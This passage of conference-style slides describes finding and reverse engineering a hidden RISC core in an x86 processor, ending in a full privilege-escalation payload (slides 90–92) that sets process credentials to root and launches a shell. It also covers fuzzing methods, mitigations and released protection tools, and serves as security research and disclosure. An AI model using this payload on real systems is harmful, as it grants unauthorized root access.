  • 56. In this setup, some x86 instruction, if the processor is in RISC mode, can pass a portion of itself onto the RISC processor Since this instruction joins the two cores, we call it the bridge instruction The x86 bridge
  • 57. How to find the bridge instruction? Sufficient to detect that a RISC instruction has been executed The x86 bridge
  • 58. If the RISC core really provides a privilege circumvention mechanism… then some RISC instruction, executed in ring 3, should be able to corrupt the system Easy to detect: processor lock, kernel panic, or system reset. None of these should happen when executing ring 3 x86 instructions The x86 bridge
  • 59. Use sandsifter Run in random instruction generation mode Modify to execute the launch instruction before each x86 instruction With the right combination of the x86 wrapper instruction, and a corrupting RISC instruction … the processor locks, the kernel panics, or the system resets. The x86 bridge
  • 60. When this is observed, the last instruction generated is the bridge instruction. ~ 1 hour fuzzing bound %eax,0x00000000(,%eax,1) The bridge instruction
  • 61. bound %eax,0x00000000(,%eax,1) The 32-bit constant in the instruction is the 32-bit RISC instruction sent to the deeply embedded core. The bridge instruction
  • 62. We know how to execute instructions on the DEC Now, what do we execute? i.e. what do these instructions even look like? What architecture is this? A deeply embedded instruction set
  • 63. Assume that the RISC core is some common architecture Try executing simple instructions from ARM, PowerPC, MIPS, etc. e.g. ADD R0, R0, #1 A deeply embedded instruction set
  • 64. Challenge: RISC core likely has register file inaccessible to the x86 core No obvious way to check the effects of the RISC instruction Solution: It is still possible to rule out architectures Many instructions sent to the DEC cause a processor lock (One of the few visible effects) Execute simple, non-locking instructions for each architecture If processor locks, rule out that architecture 30 different architectures ruled out for the DEC A deeply embedded instruction set
  • 65. Dealing with an unknown architecture Must reverse engineer the format of the instructions for the deeply embedded core A deeply embedded instruction set (DEIS) A deeply embedded instruction set
  • 66. Approach: Execute a RISC instruction, and observe its results Challenge: No knowledge of RISC ISA, cannot observe the results on the RISC core Solution: Patents suggest that the RISC core and x86 core have a partially shared register file Should be possible to observe some results of the RISC instruction on the x86 core A deeply embedded instruction set
  • 67. Approach: Execute a RISC instruction, and observe its results US8880851
  • 68. Toggle the god mode bit (through LKM) Generate an input state Registers (GPRs, SPRs, MMX) Userland buffer Kernel buffer (through LKM) Record the input state Generate a random RISC instruction Wrap RISC instruction in the x86 bridge instruction Execute RISC instruction on the DEC by preceding it with the launch instruction Record the output state Observe any changes between the input and output state A deeply embedded instruction set
  • 69. movl %[input_eax], %%eax movl %[input_ebx], %%ebx movl %[input_ecx], %%ecx movl %[input_edx], %%edx movl %[input_esi], %%esi movl %[input_edi], %%edi movl %[input_ebp], %%ebp movl %[input_esp], %%esp .byte 0x0f, 0x3f bound %eax,0xa310075b(,%eax,1) movl %%eax, %[output_eax] movl %%ebx, %[output_ebx] movl %%ecx, %[output_ecx] movl %%edx, %[output_edx] movl %%esi, %[output_esi] movl %%edi, %[output_edi] movl %%ebp, %[output_ebp] movl %%esp, %[output_esp] Load a pre-generated system state from memory. Execute the launch insn., followed by the x86 bridge, containing the RISC insn. Save the new system state for offline analysis
  • 70. Assisted fuzzing: Identifying arithmetic instructions: Load initial register state with random values Identifying memory accesses: Load initial register state with pointers to either the user land or kernel buffers A deeply embedded instruction set
  • 71. Challenge: Unknown instruction set Accidentally generate instructions causing kernel panics, processor locks, system reboots. ~20 random RISC instructions before unrecoverable corruption Then necessary to reboot the target ~2 minute reboot Months of fuzzing to collect enough data to reverse engineer the DEIS A deeply embedded instruction set
  • 72. Target 1 Target 0 Target 2 Target 3 … RelaySwitch Master KVM
  • 73. (Image) A deeply embedded instruction set
  • 74. Solution: Extend the earlier automated setup 7 target machines, PXE booting from a master Master assigns fuzzing tasks to agents running on each target Lets master coordinate the fuzzing workload Intelligently task workers with high priority or unexplored segments of the instruction space Targets attached to relays, controlled by the master When the master stops receiving data from a target Assume crashed, panicked, reset, locked, etc. Target is forcefully reset through relay Fuzzing results collected from each target and aggregated on the master A deeply embedded instruction set
  • 75. (Demo) A deeply embedded instruction set
  • 76. (Demo 2) A deeply embedded instruction set
  • 77. 3 weeks 15 gigabytes of logs 2,301,295 state diffs 4000 hours of compute time A deeply embedded instruction set
  • 78. Extract patterns from the state diffs to identify patterns in the instructions Automation: the collector A deeply embedded instruction set
  • 79. collector automatically identifies patterns in state diffs: word swap high word copy low word copy immediate load (pre) register to register transfer (post) register to register transfer 1-, 2-, 4-, 8- byte memory writes 1-, 2-, 4-, 8- byte memory reads increment by 1, 2, 4, or 8 decrement by 1, 2, 4, or 8 write instruction pointer 1- through 16- bit shifts relative immediate load add, subtract, multiply, divide, modulo, xor, binary and, binary or A deeply embedded instruction set
  • 80. ==== sub, 4 ==== 0a1dc726 [ 0000 1010 0001 1101 1100 0111 0010 0110 ]: eax: 0804e289 -> 0804e285 0a3d6720 [ 0000 1010 0011 1101 0110 0111 0010 0000 ]: ecx: 0841fec2 -> 0841febe 0a503e29 [ 0000 1010 0101 0000 0011 1110 0010 1001 ]: edx: 2c9e4a84 -> 2c9e4a80 0a5fb7db [ 0000 1010 0101 1111 1011 0111 1101 1011 ]: edx: 327f8c66 -> 327f8c62 0a7f4460 [ 0000 1010 0111 1111 0100 0100 0110 0000 ]: ebx: b753be82 -> b753be7e 0a90aeb8 [ 0000 1010 1001 0000 1010 1110 1011 1000 ]: esp: 961f6d51 -> 961f6d4d 0ab05498 [ 0000 1010 1011 0000 0101 0100 1001 1000 ]: ebp: 859a7955 -> 859a7951 0abfb48d [ 0000 1010 1011 1111 1011 0100 1000 1101 ]: ebp: d8de0d7b -> d8de0d77 0ad03f09 [ 0000 1010 1101 0000 0011 1111 0000 1001 ]: esi: 0841fec4 -> 0841fec0 0af088c6 [ 0000 1010 1111 0000 1000 1000 1100 0110 ]: edi: 256339e4 -> 256339e0 0affcf92 [ 0000 1010 1111 1111 1100 1111 1001 0010 ]: edi: f4cef2ab -> f4cef2a7 0e1d87be [ 0000 1110 0001 1101 1000 0111 1011 1110 ]: eax: 0804e289 -> 0804e285 0e301f44 [ 0000 1110 0011 0000 0001 1111 0100 0100 ]: ecx: faa1aa22 -> faa1aa1e 0e30753f [ 0000 1110 0011 0000 0111 0101 0011 1111 ]: ecx: 46e4f482 -> 46e4f47e 0e309f8c [ 0000 1110 0011 0000 1001 1111 1000 1100 ]: ecx: 8e9099e9 -> 8e9099e5 0e5ff9f4 [ 0000 1110 0101 1111 1111 1001 1111 0100 ]: edx: b4511f1b -> b4511f17 0e83d850 [ 0000 1110 1000 0011 1101 1000 0101 0000 ]: esp: 3b92e942 -> 3b92e93e 0eb05c9b [ 0000 1110 1011 0000 0101 1100 1001 1011 ]: ebp: 33004709 -> 33004705 0edf3b78 [ 0000 1110 1101 1111 0011 1011 0111 1000 ]: esi: 0841fec4 -> 0841fec0 0effd2ad [ 0000 1110 1111 1111 1101 0010 1010 1101 ]: edi: 989d68db -> 989d68d7 8d2bf748 [ 1000 1101 0010 1011 1111 0111 0100 1000 ]: eax: 0804e289 -> 0804e285 a95053d4 [ 1010 1001 0101 0000 0101 0011 1101 0100 ]: eax: 0804e289 -> 0804e285 df14296d [ 1101 1111 0001 0100 0010 1001 0110 1101 ]: esp: 0841fec7 -> 0841fec3 eb36ae2c [ 1110 1011 0011 0110 1010 1110 0010 1100 ]: esi: 0841fec4 -> 0841fec0 eb71bafc [ 1110 1011 0111 0001 1011 1010 1111 1100 ]: ecx: 0841fec2 -> 0841febe eb72b0d6 [ 1110 1011 0111 0010 1011 0000 1101 0110 ]: edx: 0841fec3 -> 0841febf fd77063c [ 1111 1101 0111 0111 0000 0110 0011 1100 ]: edi: 0841fec5 -> 0841fec1 ff7762d4 [ 1111 1111 0111 0111 0110 0010 1101 0100 ]: edi: 0841fec5 -> 0841fec1 A deeply embedded instruction set
  • 81. Instructions are then binned based on which diff categories they fell into A bin is a set of instructions whose categories are identical A deeply embedded instruction set
  • 82. ==== bin: memory write // add, 4 ==== e87262cc [ 1110 1000 0111 0010 0110 0010 1100 1100 ] eab5f409 [ 1110 1010 1011 0101 1111 0100 0000 1001 ] ebb7b489 [ 1110 1011 1011 0111 1011 0100 1000 1001 ] f2169a0a [ 1111 0010 0001 0110 1001 1010 0000 1010 ] f2b7ad29 [ 1111 0010 1011 0111 1010 1101 0010 1001 ] fa12fea8 [ 1111 1010 0001 0010 1111 1110 1010 1000 ] fc74182a [ 1111 1100 0111 0100 0001 1000 0010 1010 ] fc759d01 [ 1111 1100 0111 0101 1001 1101 0000 0001 ] ==== bin: add, 4 ==== 0a580eef [ 0000 1010 0101 1000 0000 1110 1110 1111 ] 0a78884e [ 0000 1010 0111 1000 1000 1000 0100 1110 ] 0a99118a [ 0000 1010 1001 1001 0001 0001 1000 1010 ] 0acb6190 [ 0000 1010 1100 1011 0110 0001 1001 0000 ] 0aeb0a40 [ 0000 1010 1110 1011 0000 1010 0100 0000 ] 0e0b979a [ 0000 1110 0000 1011 1001 0111 1001 1010 ] 0e394d65 [ 0000 1110 0011 1001 0100 1101 0110 0101 ] 0e98e966 [ 0000 1110 1001 1000 1110 1001 0110 0110 ] 0eb8fb64 [ 0000 1110 1011 1000 1111 1011 0110 0100 ] 84d09f36 [ 1000 0100 1101 0000 1001 1111 0011 0110 ] ea16fea8 [ 1110 1010 0001 0110 1111 1110 1010 1000 ] ==== bin: memory write ==== 4c328b03 [ 0100 1100 0011 0010 1000 1011 0000 0011 ] 5d36cf83 [ 0101 1101 0011 0110 1100 1111 1000 0011 ] 5df788af [ 0101 1101 1111 0111 1000 1000 1010 1111 ] 9bf3474d [ 1001 1011 1111 0011 0100 0111 0100 1101 ] 9c15aa0a [ 1001 1100 0001 0101 1010 1010 0000 1010 ] 9ed314c8 [ 1001 1110 1101 0011 0001 0100 1100 1000 ] 9ed39488 [ 1001 1110 1101 0011 1001 0100 1000 1000 ] e297738b [ 1110 0010 1001 0111 0111 0011 1000 1011 ] e2b3338b [ 1110 0010 1011 0011 0011 0011 1000 1011 ] e737980b [ 1110 0111 0011 0111 1001 1000 0000 1011 ] e796780b [ 1110 0111 1001 0110 0111 1000 0000 1011 ] ec94ee01 [ 1110 1100 1001 0100 1110 1110 0000 0001 ] ed9458a9 [ 1110 1101 1001 0100 0101 1000 1010 1001 ] f8b4e96b [ 1111 1000 1011 0100 1110 1001 0110 1011 ] A deeply embedded instruction set
  • 83. Binning instructions separates out different instruction behaviors, and reveals the bit patterns behind the instruction encoding A deeply embedded instruction set
  • 84. lgd: load base address of gdt into register mov: copy register contents izx: load 2 byte immediate, zero extended isx: load 2 byte immediate, sign extended ra4: shift eax right by 4 la4: shift eax left by 4 ra8: shift eax right by 8 la8: shift eax left by 8 and: bitwise and of two registers, into eax or: bitwise or of two registers, into eax ada: add register to eax sba: sub register from eax ld4: load 4 bytes from kernel memory st4: store 4 bytes into kernel memory ad4: increment a register by 4 ad2: increment a register by 2 ad1: increment a register by 1 zl3: zero low 3 bytes of register zl2: zero low 2 bytes of register zl1: zero low byte of register cmb: shift low word of source into low word of destination A deeply embedded instruction set
  • 85. Once instructions are binned, encodings can be automatically derived by analyzing bit patterns within a bin A deeply embedded instruction set
  • 86. lgd: [oooooooo....++++........ ] mov: [oooooooo....++++.++++ ] izx: [oooooooo....++++++++++++++++++++] isx: [oooooooo....++++++++++++++++++++] ra4: [oooo.......................oooo.] la4: [oooo.......................oo...] ra8: [oooo........oooo...........oooo.] la8: [oooo........................oooo] and: [ooooooo++++.++++............oooo] or: [ooooooo++++.++++............oooo] ada: [oooooooo ++++ ooo] sba: [oooooooo ++++ ooo] ld4: [oooooooo---.++++.++++...==......] st4: [oooooooo---.++++.++++...==......] ad4: [ooooooo++++...== ] ad2: [ooooooo++++...== ] ad1: [ooooooo++++...== ] zl3: [ooooooo. .++++...........] zl2: [ooooooo. .++++...........] zl1: [ooooooo. .++++...........] cmb: [oooooooo....++++.++++...........] [o] opcode [.] unknown [ ] don't care [+] register [-] offset [=] length/value
  • 87. General patterns: Registers encoded with 4 bits eax is 0b0000 ebx is 0b0011 ecx is 0b0001 edx is 0b0010 esi is 0b0110 edi is 0b0111 ebp is 0b0101 esp is 0b0100 High bit selects MMX? Instructions operate on 0, 1, or 2 explicit registers eax sometimes used as an implicit register 0 to 8 opcode bits at beginning of instruction Sometimes more later in the encoding A deeply embedded instruction set
  • 88. The DEIS assembler Assembles primitives into their binary representation, and wraps each in the x86 bridge instruction Payloads for the RISC core can now be written in DEIS assembly A deeply embedded instruction set
  • 90. 0 gdt_base = get_gdt_base(); 1 descriptor = *(uint64_t*)(gdt_base+KERNEL_SEG); 2 fs_base=((descriptor&0xff00000000000000ULL)>>32)| 3 ((descriptor&0x000000ff00000000ULL)>>16)| 4 ((descriptor&0x00000000ffff0000ULL)>>16); 5 task_struct = *(uint32_t*)(fs_base+OFFSET_TASK_STRUCT); 6 cred = *(uint32_t*)(task_struct+OFFSET_CRED); 7 root = 0 8 *(uint32_t*)(cred+OFFSET_CRED_VAL_UID) = root; 9 *(uint32_t*)(cred+OFFSET_CRED_VAL_GID) = root; 10 *(uint32_t*)(cred+OFFSET_CRED_VAL_EUID) = root; 11 *(uint32_t*)(cred+OFFSET_CRED_VAL_EGID) = root; The payload
  • 91. lgd %eax or %ebx, %eax izx $0x4, %ecx izx $0x5f20, %ecx ada %ecx izx $0x78, %edx izx $0xc133, %edx st4 %edx, %eax ada %edx cmb %ecx, %edx ada %edx ada %ecx ad2 %eax ld4 %eax, %eax st4 %edx, %eax ld4 %eax, %edx ad2 %eax izx $0x208, %edx ada %ecx ld4 %eax, %ebx ada %edx ada %ecx zl3 %ebx ld4 %eax, %eax st4 %edx, %eax mov %edx, %eax la8 izx $0, %edx ada %ecx ra8 st4 %edx, %eax The payload
  • 92. /* unlock the backdoor */ __asm__ ("movl $payload, %eax"); __asm__ (".byte 0x0f, 0x3f"); /* modify kernel memory */ __asm__ ("payload:"); __asm__ ("bound %eax,0xa310075b(,%eax,1)"); __asm__ ("bound %eax,0x24120078(,%eax,1)"); __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)"); __asm__ ("bound %eax,0x0a1af97f(,%eax,1)"); __asm__ ("bound %eax,0xc8109489(,%eax,1)"); __asm__ ("bound %eax,0x0a1af97f(,%eax,1)"); __asm__ ("bound %eax,0xc8109c89(,%eax,1)"); __asm__ ("bound %eax,0xc5e998d7(,%eax,1)"); __asm__ ("bound %eax,0xac128751(,%eax,1)"); __asm__ ("bound %eax,0x844475e0(,%eax,1)"); __asm__ ("bound %eax,0x84245de2(,%eax,1)"); __asm__ ("bound %eax,0x8213e5d5(,%eax,1)"); __asm__ ("bound %eax,0x24115f20(,%eax,1)"); __asm__ ("bound %eax,0x2412c133(,%eax,1)"); __asm__ ("bound %eax,0xa2519433(,%eax,1)"); __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)"); __asm__ ("bound %eax,0xc8108489(,%eax,1)"); __asm__ ("bound %eax,0x24120208(,%eax,1)"); __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)"); __asm__ ("bound %eax,0xc8108489(,%eax,1)"); __asm__ ("bound %eax,0x24120000(,%eax,1)"); __asm__ ("bound %eax,0x24110004(,%eax,1)"); __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); __asm__ ("bound %eax,0xe01095fd(,%eax,1)"); __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); __asm__ ("bound %eax,0xe01095fd(,%eax,1)"); __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); __asm__ ("bound %eax,0xe0108dfd(,%eax,1)"); __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); __asm__ ("bound %eax,0xe0108dfd(,%eax,1)"); /* launch a shell */ system("/bin/bash");
  • 94. A secret, co-located core Unrestricted access to the x86 core’s register file Shared execution pipeline But it’s all nebulous this deep Ring -4 … ?
  • 95. Direct ring 3 to ring 0 hardware privilege escalation on x86. This has never been done.
  • 96. Fortunately we still need initial ring 0 access! … right?
  • 98. Samuel 2 core has the god mode bit enabled by default. Any unprivileged code can escalate to the kernel at any time.
  • 99. antivirus address space protections data execution prevention code signing control flow integrity kernel integrity checks Protections
  • 100. Update microcode to lock down god mode bit Update microcode to disable ucode assists on the bridge instruction Update OS and firmware to disable god mode bit, and periodically check its status Mitigations
  • 101. Releasing today: A tool to check your system A tool to protect your system Mitigations
  • 102. This is an old processor, not in widespread use The target market is embedded, and this is likely a useful feature for customers Conclusions
  • 103. Take this as a case study. Back doors exist … and we can find them. Conclusions
  • 104. Alternative threat scenarios … ? Doesn’t impact performance Leverages mechanisms already in place Virtually impossible to detect Conclusions
  • 106. Open sourced Tools, techniques, code, data Starting point for future research project:rosenbridge